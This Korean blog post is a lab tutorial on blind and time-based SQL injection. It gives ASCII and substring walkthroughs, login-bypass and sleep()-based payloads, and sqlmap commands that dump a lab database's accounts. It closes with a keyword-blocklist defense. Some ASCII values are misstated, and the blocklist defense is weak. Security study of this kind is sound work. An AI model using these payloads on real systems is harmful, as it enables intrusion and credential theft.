2024. 1. 31. 16:35ㆍInformation Security 정보보안/Web Security 웹 보안
배울내용:
Blind Injection
블라인드 인젝션
ASCII 코드
Time-base Blind Injection
타임 블라인드 인젝션
substring 이용해서 DB 해킹
sqlmap
sql 맵
웹 해킹
sql injection
SQL 삽입공격
SQL 인젝션 방어방법
kali로 웹해킹하기
DB 해킹
오늘은
Blind Injection 과 아스키코드 에관한걸 배울것이다
먼저 VM 에서 mini 를킨뒤에 mini의 ip 주소를 입력해서 아래창을 킨다
회원가입을 눌러서 새계정을 만들고
이런식으로 적은뒤 회원가입 완료하면
회원가입이 완료된다
이렇게 떠야지 성공한거다
실패한거라면 join_proc.php 가 잘못되어있지않나 확인해보자
제대로 설정했으면 putty 로 mini 연결한뒤에
mysql -p mysql 에들어가서
use sevas
select * from class;
하면 기존에만든 sevas, admin 빼고 아까 추가해줬던 sarimus 가 있던걸 볼수있다
그리고 이런식으로 select 쿼리를 쓰면
sarimus가 나온다
그런데 여기에서 하나를 더쓰면
이렇게 sarimus 의 hex 값이 나온다
그럼 저 값을 어떻게나올까?
아래에 ASCII 코드를 보자 ( 문자 인코딩 표준 중 하나 )
ASCII는 "American Standard Code for Information Interchange"의 약자로
이 코드는 7비트의 이진 숫자로 문자를 나타낸다
기본적으로 ASCII 코드는 0부터 127까지의 숫자를 사용하여 각 숫자에 대응되는 문자를 정의한다
예를 들면, 숫자 65는 대문자 'A'를 나타내고 숫자 97은 소문자 'a'를 나타낸다
이러한 방식으로 ASCII 코드는 영문 알파벳, 숫자, 특수 문자 등을 표현한다
출처 : https://stepbystep1.tistory.com/10
s a r i m u s
73 61 72 69 6D 75 73
잘보면 소문자 s 는 73 인걸알수있다
나머지또한 위에 ASCII 코드로 보고 찾을수있다
자이제 substring 을 추가해보자
select substring("sarimus" ,1 ) ;
로 햇을때 별다른 변화가 없다
그런데 2를 넣을시에
앞에 글자가 사라지는걸 볼수있다
이건 1 이 들어가면 1번째 자리에서부터 자르고, 2가들어가면
sarimus 의 2번째인 a 부터 잘라낸걸 보여준다
그러면 범위도 설정가능하다
select substring("sarimus", 3, 4 );
sarimus 에서 3 번째인 r 부터해서
4개 까지 보여준다
그러면 r i m u 로 4개가되며
rimu 가 만들어지게 된다
select substring ( 글자,위치,길이)
select substring('sevas sivas',1); 첫번째 글자부터
select substring('sevas sivas',2); 두번째 글자부터
select substring('sevas sivas',2,2); 두번째글자부터 2글자
select substring('sevas sivas',2,3); 두번째글자부터 3글자
이렇듯이
select substring('sarimus',2,1); 두번째 글자에서 첫번째 'a'출력
그리고 여기에서 추가로 비교연산자를 넣으면
select substring("sarimus",2 ,1 ) < 'q' ;
에서 1 이 나온다
그이유는 'q' 는 ascii 에서 70 이고 sarimus에서 나온 'a' 는 61 이기떄문이다
즉 61 < 70 이기떄문에 참이 되는것이다
이걸이용해서
select substring('sarimus',2,1) ='b'; 0(거짓)
select substring(' sarimus ',2,1) ='a'; 1(참)
이렇게 비교할수있다
아스키코드 참고 할점
숫자는 0x30 에서부터 시작
문자는 0x41 대문자
0x61 소문자
지금까지 한걸 다 하면 이제
블라인드 인젠셕 공격이 가능하다
Blind Injection
그러면 putty에서 use sevas 한뒤에
한개 한개 뽑아내면 sarimus의 sar 를 뽑아낸걸 볼수있다 (limit , substring 조정)
물론 문자 말고도 10진수 , 16진수도 가능하다
아래와 같이 쓰면 된다
[문자]
select substring((select id from class limit 0,1),1,1);
[10진수]
select ascii(substring((select id from class limit 0,1),1,1));
[16진수]
select hex(ascii(substring((select id from class limit 0,1),1,1)));
만약 찾는 ID 가 admin 인걸 찾으러면 이렇게 비교 연산자를 이용해서도
찾을수있다
[첫번째문자] = a
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '65';
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '61';
[두번째문자] = d
select hex(ascii(substring((select id from class limit 0,1),2,1))) <= '64'; 결과 1
select hex(ascii(substring((select id from class limit 0,1),2,1))) <= '63'; 결과 0
[세번째문자] = m
select hex(ascii(substring((select id from class limit 0,1),3,1))) <= '6c'; 0
select hex(ascii(substring((select id from class limit 0,1),3,1))) <= '6d'; 1
select unhex('6d');
[네번째문자]
select hex(ascii(substring((select id from class limit 0,1),4,1))) <= '68'; 0
select hex(ascii(substring((select id from class limit 0,1),4,1))) <= '69'; 1
select unhex('69');
[다섯번째문자]
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6d'; 0
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6e'; 1
select unhex('69');
16진수를 문자로 바꿀대는 unhex 를 쓴다.
이런걸로 char 하나하나 찾음 뒤에 위에같이 정답 다 찾을수있다
그리고 또한 이걸 홈페이지에서 blind injection 공격으로 아래처럼 쓰인다
[16진수]
' or hex(ascii(substring(database(),1,1)))=73#
[10진수]
' or ascii(substring(database(),1,1))=115#
#은 주석(--)
이렇게 넣으면
로그인이 되는걸 볼수있다
Time-base Blind Injection
참/거짓 응답 확인이 어려울때 확인하는 기법
직접 들어가지 않더라도 확인 할수있음
' or hex(ascii(substring(database(),1,1))) =73 and sleep(3)# 지연
' or hex(ascii(substring(database(),1,1))) =74 and sleep(3)# 지연X
지연되면 맞는것! 지연없이 넘어가면 틀린것!
이번엔 Kali 에서
sqlmap tool
을 써볼것이다
sqlmap
아래의 것을 이용해서 실행하면 된다
[db정보수집]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no"
DB 의 정보를 보여준다
글자가 1개 1개씩 보여주는걸로봐서는 우리가 배웠던걸 자동으로 써서 하나하나 찾아준다고 보면된다
[db확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -dbs
[table확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas --tables
[column확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --column
[값확인]
sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --dump
그렇게 다 찾게 되면
이런식으로 admin 이라는 계정이 asd123 이라는 비밀번호를
sevas 라는 계정이 asd... 이라는 비밀번호를 알수있다
<옵션>
- [-u URL] : 공격을 수행할 페이지 주소 지정 ****
- [--cookie=COOKIE] : 쿠키 값 지정
- [--data DATA] : POST 방식으로 데이터가 전달될 때, 해당 데이터를 지정
- [-p TESTPARAMETER] : 공격을 수행할 파라미터를 지정 ****
- [-v VERBOSE] : 명령어 수행을 얼마나 상세하게 출력할 것 인지를 지정 (0~6)
- [--passwords] : 사용자들의 패스워드 해시값을 출력
- [--tables] : 데이터베이스의 테이블들을 출력 *****
- [--columns] : 데이터베이스 테이블의 컬럼들을 출력 *****
- [--dump] : 데이터베이스 테이블 엔트리를 덤프 *****
- [--dbs] : 데이터베이스 리스트 출력 *****
- [-D DB] : 특정 데이터베이스 지정 *****
- [-T TBL] : 특정 테이블 지정 *****
- [-C COL] : 특정 컬럼 지정 *****
그러면 이걸 어떻게 막을까?
SQL injection 방어하기
vi /var/www/html/board_view.php 에서
$b_no=$_GET['b_no'];
if(preg_match('/(union|select|from|where)/i', $b_no))
{
echo "No SQL- Injection!!! <br>";
echo "<a href=/board.php> 되돌아가기 </a>";
exit;
}
이렇게 추가하면된다
그러면 injection 공격했을때 안되는걸볼수있음
SQL injection 보안방법
1. 특수문자들은 공백으로 만들어서 사용하지 못하도록 코드수정
2. uinon, select 와 같은 SQL 구문을 검사하는 코드를 제작하여
검색시에 에러페이즈를 출력시키도록 한다.
오늘도 하나의 취약점을 배웠고 방어하는걸 배운 좋은하루인것같다
그럼 20000~